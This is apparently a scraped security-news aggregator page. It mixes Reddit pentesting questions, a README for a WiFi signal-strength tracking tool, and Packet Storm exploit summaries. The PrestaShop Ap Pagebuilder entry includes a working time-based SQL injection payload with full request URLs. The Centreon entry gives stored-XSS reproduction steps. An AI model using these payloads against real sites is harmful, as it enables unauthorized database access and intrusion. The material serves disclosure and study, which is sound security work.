Is it safe to whitelist access based on user agents?
https://www.reddit.com/r/redteamsec/comments/wxgq4s/is_it_safe_to_whitelist_access_based_on_user/

<!-- SC_OFF -->One of my users wants to use a 3rd party tool to crawl our website (for SEO analysis, etc). However they are requesting to have it whitelisted. I believe they want to whitelist the user agent. My question is, is it safe to whitelist based on user agents? Makes me nervous, user agents are really not unique correct? Dont we all have user agents? out of the millions/billions of people online, im sure many have the same. <!-- SC_ON --> submitted by /u/87390989 (https://www.reddit.com/user/87390989)
[link] (https://www.reddit.com/r/redteamsec/comments/wxgq4s/is_it_safe_to_whitelist_access_based_on_user/) [comments] (https://www.reddit.com/r/redteamsec/comments/wxgq4s/is_it_safe_to_whitelist_access_based_on_user/)

KitPloit - PenTest Tools!
dBmonster - Track WiFi Devices With Their Recieved Signal Strength

https://blogger.googleusercontent.com/img/a/AVvXsEgOI9Zk66VNsWx2nWw55-8nE7mseWMfHj_yVr3Ye3DXbbeU1DEzOqdEjahZ-HDVRAKTlAnqWbC7JE6T-PFo-cBhdPmCJueOyr4nhNTIZF-BLwrII-h0BwOe4OO565K2s_JBZuydFlkSdx3UxVGRP2bYquf-jbCnCpPuryACkSE2LhALxYyQsKmDJiXb=w640-h202 With dBmonster you are able to scan for nearby WiFi devices and track them trough the signal strength (dBm) of their sent packets (sniffed with TShark). These dBm values will be plotted to a graph with matplotlib. It can help you to identify the exact location of nearby WiFi devices (use a directional WiFi antenna for the best results) or to find out how your self made antenna works the best (antenna radiation patterns). Features on Linux and MacOSFeature Linux MacOS Listing WiFi interfaces
✅

✅
Track & scan on 2.4GHz
✅

✅
Track & scan on 5GHz
✅

✅
Scanning for AP
✅

✅
Scanning for STA
✅
Beep when device found
❓

✅ Installationgit clone https://github.com/90N45-d3v/dBmonster
cd dBmonster

# Install required tools (On MacOS without sudo)
sudo python requirements.py

# Start dBmonster
sudo python dBmonster.py Has been successfully tested on...Platform

WiFi Adapter

Kali Linux ALFA AWUS036NHA, DIY Bi-Quad WiFi Antenna MacOS Monterey Internal card 802.11 a/b/g/n/ac (MBP 2019) * should work on any MacOS or Debian based system and with every WiFi card that supports monitor-mode Troubleshooting for MacOSNormally, you can only enable monitor-mode on the internal wifi card from MacOS with the airport utility from Apple. Somehow, wireshark (or here TShark) can enable it too on MacOS. Cool, but because of the MacOS system and Wireshark’s workaround, there are many issues running dBmonster on MacOS. After some time, it could freeze and/or you have to stop dBmonster/Tshark manually from the CLI with the pscommand. If you want to run it anyway, here are some helpful tips: Kill dBmonster, if you can't stop it over the GUILook if there are any processes, named dBmonster, tshark or python: sudo ps -U root Now kill them with the following command: sudo kill <pid Stop monitor-mode, if it's enabled after running dBmonstersudo airport <wifisniff Press control + c after a few seconds
* Please contact me on twitter, if you have anymore problems Working on...* Capture signal strength data for offline graphs
* Generate graphs from normal wireshark.pcapng file
* Generate multiple graphs in one coordinate system Additional information* If the tracked WiFi device is out of range or doesn't send any packets, the graph stops plotting till there is new data. So don't panic ;)
* dBmonster wasn't tested on all systems... If there are any errors or something is going wrong, contact me.
* If you used dBmonster on a non-listed Platform or WiFi Adapter, please open an issue (with Platform and WiFi Adapter information) and I will add your specification to the README.md Download dBmonster

Do you need to get OSCP before your first job as a pentester ?
https://www.reddit.com/r/Pentesting/comments/wxkd02/do_you_need_to_get_oscp_before_your_first_job_as/

<!-- SC_OFF -->if not, what can actually make up for something like the OSCP, can bug bounty experience be an alternative ? <!-- SC_ON --> submitted by /u/watermelonSoundsNice (https://www.reddit.com/user/watermelonSoundsNice)
[link] (https://www.reddit.com/r/Pentesting/comments/wxkd02/do_you_need_to_get_oscp_before_your_first_job_as/) [comments] (https://www.reddit.com/r/Pentesting/comments/wxkd02/do_you_need_to_get_oscp_before_your_first_job_as/)

How to know which attacks to use in CRTP ?
https://www.reddit.com/r/Pentesting/comments/wxlr44/how_to_know_which_attacks_to_use_in_crtp/

<!-- SC_OFF -->so basically in the CRTP course, in the section after we escalate privs and try n get to DA, there are so many attacks to try like kerberoasting and delegation (unconstrained and constrained) and dns admins attack like how do i know which attack i need to use basically ? <!-- SC_ON --> submitted by /u/watermelonSoundsNice (https://www.reddit.com/user/watermelonSoundsNice)
[link] (https://www.reddit.com/r/Pentesting/comments/wxlr44/how_to_know_which_attacks_to_use_in_crtp/) [comments] (https://www.reddit.com/r/Pentesting/comments/wxlr44/how_to_know_which_attacks_to_use_in_crtp/)

Exploit Collector
PrestaShop Ap Pagebuilder 2.4.4 SQL Injection

https://2.bp.blogspot.com/-uXp9StI5Rh0/WWlvYIMdqaI/AAAAAAAAIOg/mHe50EJovPcz8di_9Up4vC4YPRAZ9BUbwCLcBGAs/s1600/h55.png
PrestaShop Ap Pagebuilder module versions 2.4.4 and below suffer from a remote SQL injection vulnerability.

SHA-256 | 572afc861ea0ca4a81aaeb41616b518ea19cd0e87bb3b4b529c0171db4fdd9cb

Download
# Exploit Title: AP PAGEBUILDER Prestashop module <=
# Date: 24-08-2022
# Exploit Author: Mohamed Ali Hammami
# Vendor Homepage: https://apollotheme.com/
#Software Link : https://apollotheme.com/products/ap-pagebuilder-prestashop-module
# Version: 2.4.4
# Tested on: Windows 10
#CVE: CVE-2022-22897

Parameters: product_all_one_img,image_product

Payload: 1) or sleep(4) #

Exploit:
http://localhost/modules/appagebuilder/apajax.php?rand=1641313272327&leoajax=1&product_all_one_img=1)+or+sleep(4)%23&image_product=0&wishlist_compare=1
http://localhost/modules/appagebuilder/apajax.php?rand=1641313272327&leoajax=1&product_all_one_img=1&image_product=1)+or+sleep(4)%23&wishlist_compare=1


Source:packetstormsecurity.com

Exploit Collector
Arm Mali CSF VMA Split Mishandling

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
In the Arm Mali driver's handling of CSF user I/O mappings, VMA splitting is handled incorrectly, leading to a page being given back to the kernel's page allocator while it is still mapped into userspace. On devices with recent Mali GPUs that support CSF, this is a security bug that should be very straightforward to exploit.

SHA-256 | 6ee0db58337e2459a3e0a317b84488b6c9019397c42a860c2baea1a6661f8592

Download
Source:packetstormsecurity.com

Exploit Collector
Centreon 22.04.0 Cross Site Scripting

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Centreon version 22.04.0 suffers from a persistent cross site scripting vulnerability.

SHA-256 | 3d70a278906238ba02b36becf352ebf454b3dd1b330a5747bf3dbac98c1a8336

Download
# Exploit Title: Stored XSS in name parameter in Centreon version 22.04.0
# Date:
# Exploit Author: syad, yunaranyancat, saitamang
# Vendor Homepage: Centreon
# Software Link: https://download.centreon.com/
# Version: 22.04.0
# CVE ID : CVE-2022-36194
# Tested on: Centos 7

Centreon 22.04.0 is vulnerable to Cross Site Scripting (XSS) from the function Pollers > Broker Configuration by adding a crafted payload
into the name parameter.
go to this endpoint -> /centreon/main.get.php?p=60909 -> Pollers -> Broker Configuration -> Click Button "Add" and put the crafted payload below on section "Name" and save

payload --> test">

Source:packetstormsecurity.com

hacking: security in practice
Sliver - an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS, WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.

https://external-preview.redd.it/Vk-hXFpuDUD9pE1-VO3BJjU1nkO5ZGKO-HPagYw3Y2I.jpg?width=640&crop=smart&auto=webp&s=1e35660c2838dc04c92a3c61f47b7e7a2407d1c5 submitted by /u/DrinkMoreCodeMore
[link] [comments]

hacking: security in practice
The O․MG Elite cable is a scarily stealthy hacker tool

https://external-preview.redd.it/fh20acT9ciWR9BKcGQGyB4ATxRC_y7mf5INJnToAd_M.jpg?width=640&crop=smart&auto=webp&s=07f57a67d5eb9eab7ce768fbfec670a9c9e72280 submitted by /u/corintxt
[link] [comments]

hacking: security in practice
medical facility security

I have long held that once physical access is granted you have given a hacker all they need. While sitting in my doctor's office I noticed that their machines have USB ports in use. What's to stop someone from placing a rubber ducky or other such device while waiting?

submitted by /u/Kentarax
[link] [comments]

Hacking on Medium
Twitter and Twilio Breaches

https://cdn-images-1.medium.com/max/1024/1*0thZq_ZcSqKjXJCdIBY5yA.png
Twitter has experienced elevated data security issues in recent years. The data of around 5.4 million anonymous user accounts was recently…

Continue reading on Medium »

Hacking on Medium
Advent of Cyber 3 (2021): Day 16 Write-up [TryHackMe]

https://cdn-images-1.medium.com/max/1200/1*alwoUQG8mqObVqDoZsuHUQ.png
Welcome to Day 16 write-up, and I hope you find it helpful.

Continue reading on System Weakness »